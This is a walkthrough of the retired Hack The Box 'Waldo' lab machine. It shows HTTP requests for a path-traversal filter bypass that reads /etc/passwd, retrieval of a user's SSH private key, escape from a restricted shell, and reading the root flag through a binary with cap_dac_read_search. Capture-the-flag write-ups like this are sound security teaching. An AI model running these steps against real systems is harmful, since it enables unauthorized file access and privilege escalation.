This is a walkthrough of the retired Waldo box on https://www.hackthebox.eu.
SPOILERS BELOW
We’ll start off like we do every box by running nmap:
root@kali:~/Documents/htb/waldo# nmap -sC -sV -oA top_ports 10.10.10.87
# Nmap 7.70 scan initiated Tue Dec 11 23:19:34 2018 as: nmap -sC -sV -oA top_ports 10.10.10.87
Nmap scan report for 10.10.10.87
Host is up (0.040s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.5 (protocol 2.0)
| ssh-hostkey:
| 2048 c4:ff:81:aa:ac:df:66:9e:da:e1:c8:78:00:ab:32:9e (RSA)
| 256 b3:e7:54:6a:16:bd:c9:29:1f:4a:8c:cd:4c:01:24:27 (ECDSA)
|_ 256 38:64:ac:57:56:44:d5:69:de:74:a8:88:dc:a0:b4:fd (ED25519)
80/tcp open http nginx 1.12.2
|_http-server-header: nginx/1.12.2
| http-title: List Manager
|_Requested resource was /list.html
|_http-trane-info: Problem with XML parsing of /evox/about
8888/tcp filtered sun-answerbook
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Dec 11 23:19:44 2018 -- 1 IP address (1 host up) scanned in 9.96 seconds
We see that nginx is running on the standard HTTP port, leading us to a “List Manager”:
<img src=https://i.imgur.com/hkbv0bJ.png> Browsing the site it seems that we have unauthenticated ability to create, read and delete lists.
When we check out the calls in Burp Suite we see files such as fileDelete.php
, fileRead.php
, fileWrite.php
and dirRead.php
.
Looking into fileRead.php
, it takes a path
POST parameter which appears to be a past to a list. First let’s see if we can see the source code of fileRead.php
by passing itself to file
:
POST /fileRead.php HTTP/1.1
Host: 10.10.10.87
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.87/list.html
Content-type: application/x-www-form-urlencoded
Content-Length: 17
Connection: close
file=fileRead.php
Success! The source code is returned:
HTTP/1.1 200 OK
Server: nginx/1.12.2
Date: Sun, 16 Dec 2018 02:50:07 GMT
Content-Type: application/json
Connection: close
X-Powered-By: PHP/7.1.16
Content-Length: 577
{"file":"<?php\n\n\nif($_SERVER['REQUEST_METHOD'] === \"POST\")
{\n\t$fileContent['file'] = false;
\n\theader('Content-Type: application\/json');
\n\tif(isset($_POST['file']))
{\n\t\theader('Content-Type: application\/json');
\n\t\t$_POST['file'] = str_replace( array(\"..\/\", \"..\\\"\"), \"\", $_POST['file']);
\n\t\tif(strpos($_POST['file'], \"user.txt\") === false){
\n\t\t\t$file = fopen(\"\/var\/www\/html\/\" . $_POST['file'], \"r\");
\n\t\t\t$fileContent['file'] = fread($file,filesize($_POST['file']));
\n\t\t\tfclose();\n\t\t}\n\t}\n\techo json_encode($fileContent);\n}\n"}
We see that the validation on path is using str_replace
:
$_POST['file'] = str_replace( array(\"..\/\", \"..\\\"\"), \"\", $_POST['file']);
The validation is removing occurences of ../
and ..\
but not recursively. If we pass file
as ..././..././..././etc/passwd
and occurrences of ../
are removed we are left with ../../../etc/passwd
. Let’s test it out:
POST /fileRead.php HTTP/1.1
Host: 10.10.10.87
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.87/list.html
Content-type: application/x-www-form-urlencoded
Content-Length: 33
Connection: close
file=..././..././..././etc/passwd
And we receive the /etc/passwd
contents:
HTTP/1.1 200 OK
Server: nginx/1.12.2
Date: Sun, 16 Dec 2018 02:58:17 GMT
Content-Type: application/json
Connection: close
X-Powered-By: PHP/7.1.16
Content-Length: 1443
{"file":"root:x:0:0:root:\/root:\/bin\/ash\n
bin:x:1:1:bin:\/bin:\/sbin\/nologin\n
daemon:x:2:2:daemon:\/sbin:\/sbin\/nologin\n
adm:x:3:4:adm:\/var\/adm:\/sbin\/nologin\n
lp:x:4:7:lp:\/var\/spool\/lpd:\/sbin\/nologin\n
sync:x:5:0:sync:\/sbin:\/bin\/sync\n
shutdown:x:6:0:shutdown:\/sbin:\/sbin\/shutdown\n
halt:x:7:0:halt:\/sbin:\/sbin\/halt\n
mail:x:8:12:mail:\/var\/spool\/mail:\/sbin\/nologin\n
news:x:9:13:news:\/usr\/lib\/news:\/sbin\/nologin\n
...
Using fileRead.php
, dirRead.php
and our new LFI vulnerability we can find out that there is a user, nobody
,
with a home directory at /home/monitor
. Inspecting that directory we find a .ssh
folder and an SSH key named .monitor
.
We grab the contents of that ssh key and attempt to ssh in:
root@kali:~/Documents/htb/waldo# ssh -i ssh.pem nobody@10.10.10.87
Welcome to Alpine!
The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <http://wiki.alpinelinux.org>.
waldo:~$
And we’re in!
After some recon we notice that our ssh connection to the machine is running on port 8888
. This raises suspicion since ssh typically runs on port 22:
waldo:~$ netstat -a
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:http 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:ssh 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:8888 0.0.0.0:* LISTEN
tcp 0 0 localhost:9000 0.0.0.0:* LISTEN
tcp 0 0 10.10.10.87:8888 10.10.14.10:55112 ESTABLISHED
tcp 0 0 :::http :::* LISTEN
tcp 0 0 :::ssh :::* LISTEN
tcp 0 0 :::8888 :::* LISTEN
udp 0 0 10.10.10.87:37432 10.10.10.2:domain ESTABLISHED
While the ssh we are connected to appears to be on port 8888
, there is another ssh running on port 22
.
My first inclination was to ssh -i .ssh/.monitor waldo@localhost
, which didn’t work. However, using the monitor
user did work:
waldo:~$ ssh -i .ssh/.monitor monitor@localhost
Linux waldo 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1 (2018-04-29) x86_64
&.
@@@,@@/ %
#*/%@@@@/.&@@,
@@@#@@#&@#&#&@@@,*%/
/@@@&###########@@&*(*
(@################%@@@@@. /**
@@@@&#############%@@@@@@@@@@@@@@@@@@@@@@@@%((/
%@@@@%##########&@@@.... .#%#@@@@@@@#
@@&%#########@@@@/ */@@@%(((@@@%
@@@#%@@%@@@, *&@@@&%(((#((((@@(
/(@@@@@@@ *&@@@@%((((((((((((#@@(
%/#@@@/@ @#/@ ..@@@@%(((((((((((#((#@@@@@@@@@@@@&#,
%@*(@#%@., /@@@@&(((((((((((((((&@@@@@@&#######%%@@@@# &
*@@@@@# .&@@@#(((#(#((((((((#%@@@@@%###&@@@@@@@@@&%##&@@@@@@/
/@@ #@@@&#(((((((((((#((@@@@@%%%%@@@@%#########%&@@@@@@@@&
*@@ *%@@@@#((((((((((((((#@@@@@@@@@@%####%@@@@@@@@@@@@###&@@@@@@@&
%@/ .&%@@%#(((((((((((((((#@@@@@@@&#####%@@@%#############%@@@&%##&@@/
@@@@@@%(((((((((((##(((@@@@&%####%@@@%#####&@@@@@@@@@@@@@@@&##&@@@@@@@@@/
@@@&(((#((((((((((((#@@@@@&@@@@######@@@###################&@@@&#####%@@*
@@#(((((((((((((#@@@@%&@@.,,.*@@@%#####@@@@@@@@@@@@@@@@@@@%####%@@@@@@@@@@
*@@%((((((((#@@@@@@@%#&@@,,.,,.&@@@#####################%@@@@@@%######&@@.
@@@#(#&@@@@@&##&@@@&#@@/,,,,,,,,@@@&######&@@@@@@@@&&%######%@@@@@@@@@@@
@@@@@@&%&@@@%#&@%%@@@@/,,,,,,,,,,/@@@@@@@#/,,.*&@@%&@@@@@@&%#####%@@@@.
.@@@###&@@@%%@(,,,%@&,.,,,,,,,,,,,,,.*&@@@@&(,*@&#@%%@@@@@@@@@@@@*
@@%##%@@/@@@%/@@@@@@@@@#,,,,.../@@@@@%#%&@@@@(&@&@&@@@@(
.@@&##@@,,/@@@@&(. .&@@@&,,,.&@@/ #@@%@@@@@&@@@/
*@@@@@&@@.*@@@ %@@@*,&@@ *@@@@@&.#/,@/
*@@&*#@@@@@@@& #@( .@@@@@@& ,@@@, @@@@@(,@/@@
*@@/@#.#@@@@@/ %@@@, .@@&%@@@ &@& @@*@@*(@@#
(@@/@,,@@&@@@ &@@,,(@@& .@@%/@@,@@
/@@@*,@@,@@@* @@@,,,,,@@@@. *@@@%,@@**@#
%@@.%@&,(@@@@, /&@@@@,,,,,,,%@@@@@@@@@@%,,*@@,#@,
,@@,&@,,,,(@@@@@@@(,,,,,.,,,,,,,,**,,,,,,.*@/,&@
&@,*@@.,,,,,..,,,,&@@%/**/@@*,,,,,&(.,,,.@@,,@@
/@%,&@/,,,,/@%,,,,,*&@@@@@#.,,,,,.@@@(,,(@@@@@(
@@*,@@,,,#@@@&*..,,,,,,,,,,,,/@@@@,*(,,&@/#*
*@@@@@(,,@*,%@@@@@@@&&#%@@@@@@@/,,,,,,,@@
@@*,,,,,,,,,.*/(//*,..,,,,,,,,,,,&@,
@@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@
&@&,,,,,,,,,,,,,,,,,,,,,,,,,,,,&@#
%@(,,,,,,,,,,,,,,,,,,,,,,,,,,,@@
,@@,,,,,,,,@@@&&&%&@,,,,,..,,@@,
*@@,,,,,,,.,****,..,,,,,,,,&@@
(@(,,,.,,,,,,,,,,,,,,.,,,/@@
.@@,,,,,,,,,,,,,...,,,,,,@@
,@@@,,,,,,,,,,,,,,,,.(@@@
%@@@@&(,,,,*(#&@@@@@@,
Here's Waldo, where's root?
Last login: Thu Dec 13 23:10:58 2018 from 127.0.0.1
-rbash: alias: command not found
monitor@waldo:~$ cd /
-rbash: cd: restricted
We’ve found Waldo! And we’ve found a restricted shell. Let’s try to ssh in while specifying bash --noprofile
to avoid any default shell in the user’s settings:
waldo:~$ ssh -i .ssh/.monitor monitor@localhost -t "bash --noprofile"
monitor@waldo:~$ cd /
monitor@waldo:/$
Great! We’re out of the restricted shell. We also see some issues with the PATH
variable which we can solve with export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin
.
Looking around the user’s home directory we see an app-dev
directory with a logMonitor
program. We have the full
source code of the program so we can quickly understand that it accepts different flags to read different log files.
However, any flags we pass to the program result in Permission denied
since all of the files are owned by root.
Checking the app-dev
folder further we find a 0.1
version of the logMonitor
program. Running the program with the
same command line flags outputs the contents of the root
owned log files. Typically when we’ve found a file that can
act as another user its flagged as suid
or guid
but that is not the case here:
monitor@waldo:~/app-dev/v0.1$ ls -lah logMonitor-0.1
-r-xr-x--- 1 app-dev monitor 14K May 3 2018 logMonitor-0.1
If the file is not suid
or guid
, how are we able to use it to read root
owned files? The answer is Linux capabilities.
From the linux capabilities man page:
Starting with kernel 2.2, Linux divides the privileges traditionally
associated with superuser into distinct units, known as capabilities,
which can be independently enabled and disabled. Capabilities are a
per-thread attribute.
Let’s check the capabilities of the logMonitor-0.1
file:
monitor@waldo:~/app-dev/v0.1$ getcap /home/monitor/app-dev/v0.1/logMonitor-0.1 2>/dev/null
/home/monitor/app-dev/v0.1/logMonitor-0.1 = cap_dac_read_search+ei
We see the file has a special capability - cap_dac_read_search+ei
. From the same man page:
CAP_DAC_READ_SEARCH
* Bypass file read permission checks and directory read and
execute permission checks;
* invoke open_by_handle_at(2);
* use the linkat(2) AT_EMPTY_PATH flag to create a link to a
file referred to by a file descriptor.
Interesting! We can bypass read permission checks entirely with this file. Let’s see if any other files have that capability set:
monitor@waldo:~/app-dev/v0.1$ getcap -r / 2>/dev/null
/usr/bin/tac = cap_dac_read_search+ei
/home/monitor/app-dev/v0.1/logMonitor-0.1 = cap_dac_read_search+ei
We see tac
, which reads files backwards (cat
backwards, get it?). Since we’re here to read a file, that works for us!
tac /root/root.txt
Success! This was a fun box. I did not know about Linux capabilities and it’s an interesting thing to have added to my tool kit. I hope you learned something as well!